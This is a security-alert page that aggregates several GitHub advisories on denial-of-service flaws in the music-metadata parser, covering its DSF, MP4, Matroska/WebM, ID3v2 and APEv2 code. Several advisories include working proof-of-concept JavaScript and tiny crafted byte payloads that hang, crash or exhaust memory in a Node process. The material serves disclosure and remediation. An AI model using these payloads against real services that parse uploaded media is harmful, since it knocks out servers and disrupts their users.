Where
-Infinity
0
Severity
6.2
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary DsfParser.parseChunks skips an unrecognised chunk's payload with an un-awaited call: js this.tokenizer.ignore(Number(chunkHeader.size) - ChunkHeader.len); // lib/dsf/DsfParser.js:51 — no await ChunkHeader.len is 12. A crafted .dsf chunk with id != 'fmt ' and size in 0..11 makes the argument negative; strtok3 (≥ 10.3.5) throws RangeError on a negative ignore. Because the call is fire-and-forget, the rejection is detached from the parseBuffer() promise chain → unhandled rejection → Node's default (≥ 15) crashes the process — after parseBuffer() already resolved, so a caller's try/catch catches nothing and is still taken down.

Residual of GHSA-v6c2-xwv6-8xf7: the ASF site was fixed in 11.12.3 (size validation) and strtok3 now throws on negative ignore; the DSF site was never validated, and its missing await escalates that throw into an uncatchable crash.

Root cause (lib/dsf/DsfParser.js:34-56) js while (bytesRemaining >= ChunkHeader.len) { // ChunkHeader.len = 12 const chunkHeader = await this.tokenizer.readToken(ChunkHeader); // { id, size } switch (chunkHeader.id) { case 'fmt ': { ...; return; } default: this.tokenizer.ignore(Number(chunkHeader.size) - ChunkHeader.len); break; // size<12 -> negative, no await } bytesRemaining -= chunkHeader.size; } strtok3 AbstractTokenizer.ignore (L78-79): if (length < 0) throw new RangeError('ignore length must be ≥ 0 bytes');

Steps to reproduce repro/ — public API only, Node's default unhandled-rejection mode, try/catch around the parse: npm install && node poc.mjs Confirmed on 11.14.0: [app] parseBuffer() RESOLVED — the caller saw no error to catch. RangeError: ignore length must be ≥ 0 bytes at DsfParser.parseChunks (.../lib/dsf/DsfParser.js:51) <process exits non-zero — the "process survived" line never prints>

Impact DoS: a single crafted .dsf (or any file with the DSD magic) crashes the Node process of any app parsing untrusted audio with music-metadata (2.2M weekly downloads). The crash bypasses the caller's error handling, so even apps that correctly try/catch per-file parsing are killed — one malicious upload can take down a shared server/worker.

Remediation Add await on line 51 (makes the RangeError a catchable parse error), and validate chunkHeader.size >= ChunkHeader.len before the skip (as the ASF fix did; also guards the loop counter). Audit other parsers for un-awaited tokenizer.ignore()/readToken().

Scope / honesty Requires the DSF path (a DSD -magic file — normal auto-detection). Relies on Node's default unhandled-rejection mode (throw, default since Node 15); the point is that the standard defensive per-parse try/catch does not protect against it. Crash (availability), not disclosure/RCE. Negatives confirmed alongside: ASF infinite loop fixed; negative-ignore infinite-loop class closed at strtok3; unbounded allocation bounded by strtok3's read bound-check.

Credits Issue also reported by @ryu7eroo

1 / 2
Source: GitHub
First published (updated )
Severity
6.2
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

StsdAtom.get() in lib/mp4/AtomToken.ts parses an MP4 stsd (sample description) box's entry table by advancing a cursor with off += size - 4, where size is a 32-bit, attacker-controlled per-entry length read straight from the file. When size == 0, that advance is 0, so a file declaring a huge entrycount and a first entry size of 0 spins forever: same bytes read every iteration, no progress, no exit. Because StsdAtom.get runs synchronously inside strtok3's tokenizer, this doesn't just fail slowly — it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through parseBuffer, parseFile, parseStream, parseBlob, or parseWebStream.

This is currently unreleased — present on the master branch only, not in the latest npm release (11.14.0) or any earlier one. Reporting now, before it ships.

Details

lib/mp4/AtomToken.ts, StsdAtom.get():

ts for (let n = 0; n < header.numberOfEntries; ++n) { const size = Token.UINT32BE.get(buf, off); // attacker-controlled entry size off += Token.UINT32BE.len; // +4 (skip the size field) table.push(new SampleDescriptionTable(size - Token.UINT32BE.len).get(buf, off)); off += size - Token.UINT32BE.len; // net advance = size - 4 }

- Introduced by commit d2a7d6f ("fix(mp4): locate each sample entry after the first correctly", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was off += size (correct advance, but it over-skipped the first entry — the actual bug PR #2693 was fixing). The fix changed it to off += size - 4 to correct the offset, but added no guard for size < 4. - With size == 0: net advance for the iteration is 4 + (0 - 4) = 0. off never moves. The loop re-reads the same 4 bytes as size on every pass, entrycount (also attacker-controlled, up to 0xFFFFFFFF) never runs out, and table.push(...) grows without bound on every iteration. - StsdAtom.get is invoked synchronously from strtok3's AbstractTokenizer.readToken — there is no await point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; table's unbounded growth means it will also eventually exhaust memory if not killed first. - The pre-fix code (off += size, no -4) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable FieldDecodingError rather than looping. That's why this is a regression introduced specifically by the -4 fix, not a pre-existing bug.

PoC

48-byte MP4 file: a 16-byte ftyp box + a 32-byte stsd box declaring entrycount = 0xFFFFFFFF with one sample entry whose size field is 0.

hex: 00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001 sha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80

This builds the malicious buffer inline:

js import { parseBuffer } from 'music-metadata';

const ascii = (s) => [...s].map(c => c.charCodeAt(0) & 0xff); const u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff]; const cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; }; const zeros = (n) => new Array(n).fill(0);

function build(entryCount, entrySize) { const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0)); const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entrycount const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]); // size + 12-byte SampleEntry const payload = cat(stsdHeader, entry); const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload); return Uint8Array.from(cat(ftyp, stsd)); }

const hang = build(0xFFFFFFFF, 0); // entrycount = 0xFFFFFFFF, first entry size = 0 console.log('parsing', hang.length, 'byte file …'); await parseBuffer(hang, { mimeType: 'audio/mp4' }); // never resolves — blocks the event loop console.log('unreachable');

$ timeout 8 node poc.mjs parsing 48 byte file … process is killed by timeout after 8s — never resolves, ~100% CPU the whole time

Control (benign input, entrycount = 1, same size = 0): rejects in 4 ms with a TypeError — the loop runs exactly once and terminates, confirming the hang is specific to the entrycount × size == 0 combination, not the size == 0 field alone.

Version-scope control (same 48-byte file against the latest npm release, music-metadata@11.14.0, which still has the pre-fix off += size): rejects in 4 ms with a FieldDecodingError — no hang. Confirms this is a master-only regression, not present in anything currently shipped.

Impact

Any application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern — media libraries, upload pipelines, transcoding services) can be hung indefinitely by a single 48-byte attacker-supplied file, with no authentication and no special conditions required beyond the normal parse call.

This is the same vulnerability class and CVSS vector as the project's own prior advisory, GHSA-v6c2-xwv6-8xf7 / CVE-2026-32256 (ASF parser infinite loop, fixed in 11.12.1) — but a different sink (MP4 stsd, not ASF extension objects) and, notably, this one reaches every tokenizer backend rather than being spared by parseStream the way the ASF bug was, since the buffer here is already fully materialized in memory when StsdAtom.get runs.

1 / 2
Source: GitHub
First published (updated )
Severity
6.2
Input Validation
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

music-metadata is a metadata parser for audio and video media files. Prior to 11.16.0, the MP4 parser accepts an attacker-controlled 64-bit extended atom size, converts it to a JavaScript Number, and uses the resulting payload length for atom-specific readToken calls before proving that the atom fits within its parent or the available input. A tiny MP4-family file can route an oversized length into payload parsing for atoms including mvhd, stsd, stsz, and date, causing a large allocation attempt or process failure before end-of-input validation. Applications that parse untrusted MP4-family media can therefore be denied service. This issue is fixed in version 11.16.0.

First published (updated )
Severity
6.2
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

The Matroska/WebM EBML parser decodes attacker-controlled variable-length integer (VINT) element lengths without first validating that the declared element fits within its enclosing container or the available input. Leaf lengths are then used directly for string-token and Uint8Array allocations.

A very small crafted .webm, .mkv, or .mka file can therefore cause a disproportionately large allocation, an out-of-memory denial of service, or—in one demonstrated parseFile case—an uncatchable V8 fatal abort.

Impact

Applications that parse untrusted Matroska/WebM media can be denied service. Depending on the input, parser API, and Node.js/V8 version, the demonstrated outcomes include:

- a 34-byte input causing an approximately 128 MiB allocation before end-of-input; - a 70-byte input causing a 500 MiB allocation through a binary EBML leaf, with concurrent parses multiplying memory consumption; - a 48-byte file causing an uncatchable V8 fatal abort through parseFile when a leaf declares a length of 32 GiB.

The fatal-abort case was reproduced on music-metadata 11.15.0 with Node.js 26.7.0. It was deterministic across three runs and exited with code 133 despite a surrounding try/catch. The same reporter did not reproduce that fatal abort through parseBuffer on Node.js 20 through 25; those configurations can still encounter allocation attempts or catchable errors. The exact failure mode is therefore runtime- and tokenizer-dependent, but the underlying validation flaw is shared.

The impact is limited to availability; no confidentiality or integrity impact has been demonstrated.

Root cause

EbmlIterator.readElement() decodes an element length from an EBML VINT and converts it to a JavaScript Number:

ts private async readElement(): Promise<IHeader> { const id = await this.readVintData(this.ebmlMaxIDLength); const lenField = await this.readVintData(this.ebmlMaxSizeLength); lenField[0] ^= 0x80 >> (lenField.length - 1); return { id: readUIntBE(id, id.length), len: readUIntBE(lenField, lenField.length) }; }

Before the fix, that value was not checked against the parent boundary or known file size before reaching the leaf readers:

ts private async readString(e: IHeader): Promise<string> { const rawString = await this.tokenizer.readToken(new StringType(e.len, 'utf-8')); return rawString.replace(/\x00.$/g, ''); }

private async readBuffer(e: IHeader): Promise<Uint8Array> { const buf = new Uint8Array(e.len); await this.tokenizer.readBuffer(buf); return buf; }

An EBML size VINT can encode values approaching 2^56. A crafted file can select a known string, unsigned-integer, binary, or UID element and route its declared size into an allocation before the tokenizer discovers that the input is truncated. The declared length also participates in container-boundary arithmetic.

For lengths around 32 GiB, one reporter observed V8 aborting on its external-memory accounting check:

text Fatal error: Check failed: changeinbytes < kMaxReasonableBytes process exit code 133

This is a V8 process abort rather than a JavaScript exception, so application-level error handling cannot catch it.

Attack scenarios

The issue is reachable through ordinary metadata parsing of attacker-controlled Matroska/WebM files. Reported proofs of concept exercised string, unsigned-integer, binary, and UID leaves. Depending on the tokenizer and runtime, affected entry points include parseBuffer, parseFile, parseStream, parseBlob, and parseWebStream.

One minimal buffer-based proof of concept uses a docType string with an oversized eight-byte VINT:

js import { parseBuffer } from 'music-metadata';

const payload = Uint8Array.from([ 0x1a, 0x45, 0xdf, 0xa3, 0x8a, 0x42, 0x82, 0x01, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ]);

await parseBuffer(payload, { mimeType: 'video/webm' });

Another proof of concept used a valid WebM EBML header followed by an ebmlReadVersion leaf whose VINT declared 0x800000000 bytes (32 GiB), while supplying only one payload byte. Through parseFile, this reached the fatal V8 abort described above.

Fix

PR #2735 validates EBML leaf lengths before decoding or allocating. It rejects lengths that are unsafe, exceed the enclosing container, or exceed the known remaining file data. For streams whose total size is unknown, large leaves are read incrementally so truncated input fails before one large allocation is attempted. Nested-container boundaries are also constrained by ancestor and file boundaries.

At the time this advisory was updated, PR #2735 was still open and no patched release had been published.

Credits

This advisory consolidates independent reports of the same EBML length-validation flaw:

- @bg0d-glitch reported oversized VINT lengths reaching string and binary allocation paths. - @Zwique demonstrated approximately 128 MiB of allocation from a 34-byte EBML input as part of a broader parser review. - @offset demonstrated a 500 MiB allocation from a 70-byte binary-leaf input and the effect of concurrent parses. - @arpitjain099 demonstrated the 48-byte parseFile case that triggers an uncatchable V8 fatal abort.

The reports were consolidated because they share the same vulnerable component, missing validation, allocation sinks, and fix.

1 / 2
Source: GitHub
First published (updated )
Severity
6.2
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

The ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error.

---

Details

Vulnerable Code Path:

- lib/id3v2/ID3v2Token.ts:108 - Syncsafe size read without validation - lib/id3v2/ID3v2Parser.ts:122 - Full tag body allocated before reading - lib/id3v2/AbstractID3Parser.ts:22 - Allocation happens before stream validation

Root Cause:

The ID3v2 parser reads a syncsafe integer representing the tag size (maximum 268,435,455 bytes or 0x0FFFFFFF) and immediately allocates a buffer of that size without checking:

1. If the tag size exceeds the remaining file size 2. If the tag size exceeds a reasonable maximum 3. If the subsequent read will actually succeed

typescript // ID3v2Token.ts:108 const size = ID3v2Header.header.toSize(); // Trusts syncsafe size directly

// Later: Allocates without validation const tagBody = await tokenizer.readBuffer(Buffer.alloc(size)); // If actual data < size, read fails but allocation succeeded

Attack Mechanism:

1. File contains valid ID3v2 header with 10 bytes total 2. ID3v2 size field claims 268,435,455 bytes (maximum syncsafe value) 3. Parser allocates 268 MB buffer 4. Stream read fails (EOF) after 10 bytes 5. EndOfStreamError is caught internally and silently handled 6. Caller receives normal metadata object 7. 268 MB remains allocated until garbage collection

Affected Parsers: MP3 (primary), FLAC, DSF, Musepack

Memory Amplification: 10 bytes input → 268 MB allocation (26.8 million times amplification)

---

PoC

Complete reproduction steps:

javascript import { parseBuffer } from 'music-metadata';

// Create a minimal ID3v2 file with maximum tag size but truncated content const maliciousFile = Uint8Array.from([ 0x49, 0x44, 0x33, // "ID3" identifier 0x04, 0x00, // Version 2.4.0 0x00, // Flags (no unsync, no extended header, etc) 0x7f, 0x7f, 0x7f, 0x7f // Syncsafe integer: maximum size (268,435,455 bytes) // File ends here - truncated ]);

console.log('Input file size:', maliciousFile.byteLength, 'bytes');

try { const metadata = await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' }); console.log('✓ Parse succeeded (no error thrown)'); console.log('✓ Metadata returned:', metadata); console.log('⚠️ ~268 MB was allocated despite only 10 bytes of input'); } catch (error) { console.error('✗ Unexpected error:', error.message); }

To demonstrate memory impact:

Run with node --expose-gc to monitor allocations:

javascript // Extended PoC to show memory usage import { parseBuffer } from 'music-metadata'; import { performance } from 'perfhooks';

const maliciousFile = Uint8Array.from([ 0x49, 0x44, 0x33, 0x04, 0x00, 0x00, 0x7f, 0x7f, 0x7f, 0x7f ]);

// Force garbage collection before test if (global.gc) global.gc(); const before = process.memoryUsage();

console.log('Memory before:', { heapUsed: (before.heapUsed / 1024 / 1024).toFixed(2) + ' MB', external: (before.external / 1024 / 1024).toFixed(2) + ' MB' });

const start = performance.now(); await parseBuffer(maliciousFile, { mimeType: 'audio/mpeg' }); const duration = performance.now() - start;

const after = process.memoryUsage();

console.log('Memory after:', { heapUsed: (after.heapUsed / 1024 / 1024).toFixed(2) + ' MB', external: (after.external / 1024 / 1024).toFixed(2) + ' MB', heapDelta: ((after.heapUsed - before.heapUsed) / 1024 / 1024).toFixed(2) + ' MB', externalDelta: ((after.external - before.external) / 1024 / 1024).toFixed(2) + ' MB' });

console.log('Parse time:', duration.toFixed(2) + ' ms'); console.log('Result:', after.external / 1024 / 1024 > 100 ? '⚠️ LARGE ALLOCATION' : '✓ Normal');

Expected output:

Input file size: 10 bytes ✓ Parse succeeded (no error thrown) ✓ Metadata returned: { format: {}, common: {}, native: {} } ⚠️ ~268 MB was allocated despite only 10 bytes of input

Memory before: { heapUsed: '2.50 MB', external: '0.00 MB' } Memory after: { heapUsed: '2.60 MB', external: '256.00 MB' } externalDelta: 256.00 MB Parse time: 15.23 ms Result: ⚠️ LARGE ALLOCATION

---

Impact

Vulnerability Type: Uncontrolled Memory Allocation / Denial of Service (CWE-789)

Attack Vector: Network - Any service that accepts and parses MP3/FLAC/DSF/Musepack files

Who is Impacted:

- Music streaming platforms (Spotify, Apple Music, YouTube Music, etc.) - Podcast hosting services (Podbean, Transistor, Anchor, etc.) - Media servers (Plex, Subsonic, Jellyfin, etc.) - Audio processing services (Discord, Slack, Teams) - Any web service with file upload that uses music-metadata

Real-World Exploitation:

1. Single Attacker, Multiple Files: - Upload 10 malicious ID3v2 files (10 bytes each) - Force 2.68 GB memory allocation - Overwhelm server memory capacity

2. Distributed Attack: - 100 concurrent uploads × 268 MB = 26.8 GB memory - Exhaust server memory, force OOM kills - Crash worker processes, cause DoS

3. Slow Leak: - Repeatedly upload truncated ID3v2 files - Each parse allocates 268 MB - Memory leaks accumulate over time - Server becomes unresponsive

4. Cost Impact: - Forced to scale up server capacity for parsing - Increased infrastructure costs - Reduced service availability

1 / 2
Source: GitHub
First published (updated )
Severity
6.2
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

music-metadata 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser.

The parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted .ape file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer.

This issue is specific to APEv2 parsing and is separate from the ID3v2, MP4, and EBML advisories.

Affected component

- lib/apev2/APEv2Token.ts - lib/apev2/APEv2Parser.ts

The untrusted size is read here:

ts size: Token.UINT32LE.get(buf, off)

It is later used directly for allocation when parsing binary tag items:

ts const picData = new Uint8Array(tagItemHeader.size); await this.tokenizer.readBuffer(picData);

The allocation happens before the parser confirms that the declared size fits inside the remaining file data.

Impact

An application that parses untrusted .ape files with music-metadata may be vulnerable to denial of service through memory exhaustion.

The demonstrated payload is only 134 bytes but causes a 128 MiB allocation with default options. Concurrent or repeated parses can multiply the memory impact.

The impact is limited to availability. No confidentiality or integrity impact has been demonstrated.

Proof of Concept

Run from the project checkout after compiling the source:

bash npm install --ignore-scripts npm run compile-src:dev node --expose-gc poc-apev2-memory.mjs

poc-apev2-memory.mjs:

js import { parseBuffer } from './lib/core.js';

const le16 = n => Uint8Array.from([n & 255, n >>> 8]); const le32 = n => Uint8Array.from([n & 255, n >>> 8 & 255, n >>> 16 & 255, n >>> 24]); const cat = (...parts) => { const out = new Uint8Array(parts.reduce((n, p) => n + p.length, 0)); let off = 0; for (const p of parts) out.set(p, off), off += p.length; return out; };

const big = 0x08000000; // 128 MiB

const desc = cat( Buffer.from('MAC '), le32(4000), le32(52), le32(24), le32(0), le32(0), le32(0), le32(0), le32(0), new Uint8Array(16) );

const hdr = cat( le16(0), le16(0), le32(1), le32(1), le32(1), le16(16), le16(1), le32(44100) );

const key = Buffer.from('Cover Art (Front)\0', 'ascii'); const item = cat(le32(big), le32(2));

const tag = cat( Buffer.from('APETAGEX'), le32(2000), le32(32 + item.length + key.length + big), le32(1), le32(0), new Uint8Array(8) );

const payload = cat(desc, hdr, tag, item, key);

if (global.gc) global.gc(); const before = process.memoryUsage();

try { await parseBuffer(payload, { mimeType: 'audio/ape' }); } catch (error) { console.log(error.constructor.name + ': ' + error.message); }

const after = process.memoryUsage(); console.log('input bytes:', payload.byteLength); console.log('arrayBuffers delta MB:', ((after.arrayBuffers - before.arrayBuffers) / 1024 / 1024).toFixed(2));

Observed result

On music-metadata 11.15.0:

text EndOfStreamError: End-Of-Stream input bytes: 134 arrayBuffers delta MB: 128.00

The parser throws after reaching end-of-stream, but the large allocation has already happened.

Expected result

The parser should reject the malformed APEv2 tag before allocating memory for the declared item size.

Suggested fix

Validate tagItemHeader.size before allocation. The parser should reject tag item sizes that exceed the remaining tag/file data or a reasonable maximum size. Binary items should not allocate tagItemHeader.size until the size has been checked.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203